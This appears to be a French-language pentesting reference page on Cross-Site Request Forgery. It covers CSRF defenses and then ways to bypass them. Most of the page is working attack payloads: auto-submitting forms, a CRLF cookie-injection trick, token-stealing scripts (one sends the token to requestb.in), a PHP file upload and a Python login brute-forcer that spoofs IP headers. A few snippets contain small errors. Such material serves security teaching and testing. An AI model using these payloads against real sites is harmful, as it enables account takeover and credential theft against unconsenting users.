CSRF (Cross Site Request Forgery)

Reading time: 18 minutes

Cross-Site Request Forgery (CSRF) Expliqué

Cross-Site Request Forgery (CSRF) est un type de vulnérabilité de sécurité que l'on trouve dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs non méfiants en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime par des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images.

Prérequis pour une attaque CSRF

Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remplies :

1. Identifier une action précieuse : L'attaquant doit trouver une action digne d'être exploitée, comme changer le mot de passe de l'utilisateur, l'email ou élever les privilèges.
2. Gestion de session : La session de l'utilisateur doit être gérée uniquement par des cookies ou l'en-tête d'authentification HTTP Basic, car d'autres en-têtes ne peuvent pas être manipulés à cette fin.
3. Absence de paramètres imprévisibles : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque.

Vérification rapide

Vous pouvez capturer la requête dans Burp et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur Copy as fetch et vérifier la requête :

Défense contre CSRF

Plusieurs contre-mesures peuvent être mises en œuvre pour se protéger contre les attaques CSRF :

• Cookies SameSite : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes intersites. En savoir plus sur les cookies SameSite.
• Partage de ressources entre origines : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. En savoir plus sur le contournement CORS.
• Vérification de l'utilisateur : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
• Vérification des en-têtes Referrer ou Origin : Valider ces en-têtes peut aider à s'assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vérifications mal implémentées, telles que :
  • Utiliser http://mal.net?orig=http://example.com (l'URL se termine par l'URL de confiance)
  • Utiliser http://example.com.mal.net (l'URL commence par l'URL de confiance)
• Modification des noms de paramètres : Alterner les noms des paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées.
• Tokens CSRF : Incorporer un token CSRF unique dans chaque session et exiger ce token dans les requêtes suivantes peut réduire considérablement le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.

Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.

Contournement des défenses

De POST à GET

Peut-être que le formulaire que vous souhaitez abuser est préparé pour envoyer une requête POST avec un token CSRF mais, vous devriez vérifier si un GET est également valide et si lorsque vous envoyez une requête GET, le token CSRF est toujours validé.

Absence de token

Les applications peuvent mettre en œuvre un mécanisme pour valider les tokens lorsqu'ils sont présents. Cependant, une vulnérabilité se présente si la validation est complètement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en supprimant le paramètre qui porte le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une attaque Cross-Site Request Forgery (CSRF).

Le token CSRF n'est pas lié à la session utilisateur

Les applications ne liant pas les tokens CSRF aux sessions utilisateur présentent un risque de sécurité significatif. Ces systèmes vérifient les tokens par rapport à un pool global plutôt que de s'assurer que chaque token est lié à la session initiatrice.

Voici comment les attaquants exploitent cela :

1. S'authentifier en utilisant leur propre compte.
2. Obtenir un token CSRF valide du pool global.
3. Utiliser ce token dans une attaque CSRF contre une victime.

Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le mécanisme de validation de token inadéquat de l'application.

Contournement de méthode

Si la requête utilise une "méthode" "bizarre", vérifiez si la fonctionnalité de surcharge de méthode fonctionne. Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et envoyer : https://example.com/my/dear/api/val/num?_method=PUT

Cela pourrait également fonctionner en envoyant le paramètre _method à l'intérieur d'une requête POST ou en utilisant les en-têtes :

• X-HTTP-Method
• X-HTTP-Method-Override
• X-Method-Override

Contournement de token d'en-tête personnalisé

Si la requête ajoute un en-tête personnalisé avec un token à la requête comme méthode de protection CSRF, alors :

• Testez la requête sans le Token Personnalisé et aussi l'en-tête.
• Testez la requête avec un token de même longueur mais différent.

Le token CSRF est vérifié par un cookie

Les applications peuvent mettre en œuvre une protection CSRF en dupliquant le token à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le token envoyé dans le backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de requête correspond à la valeur dans le cookie.

Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des défauts permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivie de l'initiation de l'attaque CSRF.

Voici un exemple de la façon dont une attaque pourrait être structurée :

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Changement de Content-Type

Selon ceci, afin d'éviter les requêtes de pré-vérification utilisant la méthode POST, voici les valeurs de Content-Type autorisées :

• application/x-www-form-urlencoded
• multipart/form-data
• text/plain

Cependant, notez que la logique des serveurs peut varier en fonction du Content-Type utilisé, donc vous devriez essayer les valeurs mentionnées et d'autres comme application/json,text/xml, application/xml.

Exemple (de ici) d'envoi de données JSON en tant que text/plain :

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Contournement des requêtes préliminaires pour les données JSON

Lors de l'envoi de données JSON via une requête POST, l'utilisation de Content-Type: application/json dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de XMLHttpRequest pour envoyer ce type de contenu déclenche une requête préliminaire. Néanmoins, il existe des stratégies pour contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :

1. Utiliser des types de contenu alternatifs : Employez Content-Type: text/plain ou Content-Type: application/x-www-form-urlencoded en définissant enctype="text/plain" dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type.
2. Modifier le type de contenu : Pour éviter une requête préliminaire tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec Content-Type: text/plain; application/json. Cela ne déclenche pas de requête préliminaire mais pourrait être traité correctement par le serveur s'il est configuré pour accepter application/json.
3. Utilisation de fichiers SWF Flash : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF flash pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, référez-vous à ce post.

Contournement de la vérification du référent / origine

Éviter l'en-tête Referer

Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, le tag meta HTML suivant peut être utilisé :

<meta name="referrer" content="never">

Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les vérifications de validation dans certaines applications.

Contournements Regexp

URL Format Bypass

Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres, vous pouvez faire :

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

Bypass de la méthode HEAD

La première partie de ce CTF writeup explique que le code source d'Oak, un routeur, est configuré pour traiter les requêtes HEAD comme des requêtes GET sans corps de réponse - un contournement courant qui n'est pas unique à Oak. Au lieu d'un gestionnaire spécifique qui traite les requêtes HEAD, elles sont simplement transmises au gestionnaire GET mais l'application supprime juste le corps de la réponse.

Par conséquent, si une requête GET est limitée, vous pourriez simplement envoyer une requête HEAD qui sera traitée comme une requête GET.

Exemples d'exploitation

Exfiltration du token CSRF

Si un token CSRF est utilisé comme défense, vous pourriez essayer de l'exfiltrer en abusant d'une vulnérabilité XSS ou d'une vulnérabilité Dangling Markup.

GET utilisant des balises HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

D'autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Formulaire de requête GET

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Formulaire de requête POST

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Formulaire de requête POST via iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Requête POST Ajax

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

requête POST multipart/form-data

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Formulaire de requête POST depuis un iframe

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Voler le jeton CSRF et envoyer une requête POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Voler le jeton CSRF et envoyer une requête Post en utilisant un iframe, un formulaire et Ajax

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Voler le jeton CSRF et envoyer une requête POST en utilisant un iframe et un formulaire

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Voler le jeton et l'envoyer en utilisant 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTVoler le token CSRF avec Ajax et envoyer un post avec un formulaire

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF avec Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Le code peut être utilisé pour forcer un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour essayer de contourner un éventuel blacklistage d'IP) :

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Outils

• https://github.com/0xInfection/XSRFProbe
• https://github.com/merttasci/csrf-poc-generator

Références

• https://portswigger.net/web-security/csrf
• https://portswigger.net/web-security/csrf/bypassing-token-validation
• https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
• https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html

​